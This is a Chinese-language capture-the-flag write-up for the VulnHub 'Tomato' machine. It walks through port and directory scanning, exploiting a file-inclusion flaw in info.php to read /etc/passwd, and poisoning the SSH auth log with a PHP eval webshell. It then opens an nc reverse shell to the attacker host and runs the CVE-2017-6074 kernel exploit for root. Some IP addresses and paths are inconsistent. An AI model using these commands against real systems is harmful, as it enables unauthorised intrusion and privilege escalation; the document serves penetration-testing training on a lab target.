一:靶机部署
下载地址:https://www.vulnhub.com/entry/tomato-1,557/
打开VMware,在文件中选择打开,导入
编辑虚拟机设置:
配置自己给,网络模式我这里选择NAT,只要和kali在同一网段下即可:
导入成功
二:信息收集
1.探测靶机IP
sudo arp-scan -I eth0 -l
2. 端口扫描
使用nmap对靶机进行详细的扫描:
nmap -A -T4 -p- 192.168.13.139 -A:使用所有高级扫描选项
-T4:设置时许,越高扫描越快
-p-:全端口扫描
3. 敏感目录扫描
dirb http://192.168.13.139
注:-w提示目录可以列出
再次扫描目录:
gobuster dir -u http://192.168.13.139 -w /usr/share/dirb/wordlists/common.txt -t 30
再次详细扫描目录:
dirb http://192.168.13.139 /usr/share/dirb/wordlists/common.txt
4. 信息收集总结
IP:192.168.13.139
开放端口:21、80、2211、8888
敏感目录:http://192.168.13.139/antibot_image/
三:过程
1.登陆网站,发现漏洞
访问前面找到的敏感目录
http://192.168.13.139//antibot_image/
打开发现了很多东西,允许远程读取URL文件,但是不允许包含URL文件,可以进行利用。
http://192.168.13.139/antibot_image/antibots/info.php
查源码,提示可以传参,存在文件包含漏洞。
2. 文件包含漏洞利用
通过分析,该页面的源码中存在include,文件包含漏洞,我们尝试用该漏洞查看passwd文件,发现可以成功
http://192.168.13.139/antibot_image/antibots/info.php?image=../../../../../../../etc/passwd
既然可以查看密码文件,那我们尝试查看一下其他文件。
查看日志文件,日志文件记录了其他用户的一些操作,其中或许留有线索。
http://192.168.13.139/antibot_image/antibots/info.php?image=../../../../../../var/log/auth.log
发现该文件还记录了ssh登录的登录日志,无论登录成功与否都有记录,那么我们是否也可以使用这个机制写入一句一句话木马。
3. 反弹shell
将一句话木马作为ssh登录的用户名,然后登陆,密码随便输入,这样日志文件就会记录该用户登录失败的日志,而该用户的用户名就是我们的一句话木马。
ssh '<?php phpinfo();eval($_POST['sss']);?>'@192.168.168.131 -p 2211
写入之后我们使用蚁剑进行连接:
URL地址:http://192.168.13.139/antibot_image/antibots/info.php?image=../../../../../../var/log/auth.log
密码:cjc
连接成功后打开终端:
四:nc反弹shell
发现-e命令没有
使用以下命令
192.168.13.139是kali的
mkfifo /tmp/f
cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.13.139 8888 > /tmp/f
反弹成功
nc -lvp 8888
四、提权
1.查看系统信息
uname -a
whoami
2.使用CVE-2017-6074进行提权
下载提权脚本,执行,编译,并开启apache2服务
使用CVE-2017-6074的poc
git clone https://github.com/kkamagui/linux-kernel-exploits.git
cd linux-kernel-exploits/kernel-4.4.0-21-generic/CVE-2017-6074
./compile.sh
3.执行exp
使靶机访问攻击机的网站,下载exp,授予权限,并执行
cd /tmp
wget http://192.168.13.133/CVE-2017-6074
chmod +x CVE-217-6074/CVE-2017-6074
4.查看flag
cd /root
ls
cat proof.txt